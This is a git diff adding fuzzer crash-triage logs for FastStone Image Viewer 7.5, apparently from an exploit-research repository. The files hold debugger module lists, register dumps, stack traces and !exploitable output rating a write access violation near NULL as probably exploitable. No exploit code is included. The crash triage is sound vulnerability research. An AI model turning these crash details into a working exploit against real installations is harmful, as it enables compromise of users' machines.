005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00274000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00274000 952fced9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00274000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3bfecee --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xEA4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xEA4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ea4.16ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0fc6efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.81445e+017 -1.24458e-018 -1.94726e+017 -7.41111e-037 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00274000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00274000 952fced9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00274000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e58cdfe Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..dd9c3e0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1510: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1510: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1510.904): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=0fd1efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.70154e-023 -8.70512e+024 -3.0155e+021 2.27217e-034 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00338000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00338000 bfed9877 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00338000 00000000 